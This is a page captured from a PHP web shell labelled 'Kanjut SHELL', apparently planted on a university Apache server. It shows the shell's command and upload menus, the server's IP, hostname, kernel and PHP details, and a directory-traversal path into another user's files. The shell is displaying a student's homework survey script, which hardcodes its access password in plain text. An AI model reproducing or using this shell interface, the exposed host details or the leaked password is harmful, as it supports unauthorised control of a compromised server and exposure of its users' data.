Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.220.206.141
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/rswolfe/../tjpepper/www/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/rswolfe/../tjpepper/www/hw3survey1.php
<?php session_start(); ?>

<!--
        Assignment: Homework3 (a)
        Author: Tim Pepper
        Due: 2/17
        Goal: A secure online course survey.                             
-->    

<?php	
	$pass = $_SESSION['psw'];
	$_SESSION['psw'] = $pass;
	if($pass != "ch7hw")
		print "Incorrect Password. Try Again.";
	else
	{
?>
	<h2>
	Personal Information: 
	</h2>
	<hr>
	<form action=hw3survey2.php method=post>
	Name: 
	<input type=text name=name>
	<br><br>
	Gender:
	<input type=radio name=gender value="Male">Male
	<input type=radio name=gender value="Female">Female
	<br><br>
	Class:
	<input type=radio name=class value="Freshman">Freshman
	<input type=radio name=class value="Sophomore">Sophomore
	<input type=radio name=class value="Junior">Junior
	<input type=radio name=class value="Senior">Senior
	<br><br>
	Course Number: 
	<input type=text name=course>
	<p>
	<input type=submit value=Submit>
	<input type=reset value=Reset>
	</form>
	<hr>
	<a href=homework3a.html>Back</a>
	<a href=index.html>Home</a>
<?php
	}
?>

Stv3n404 - 2023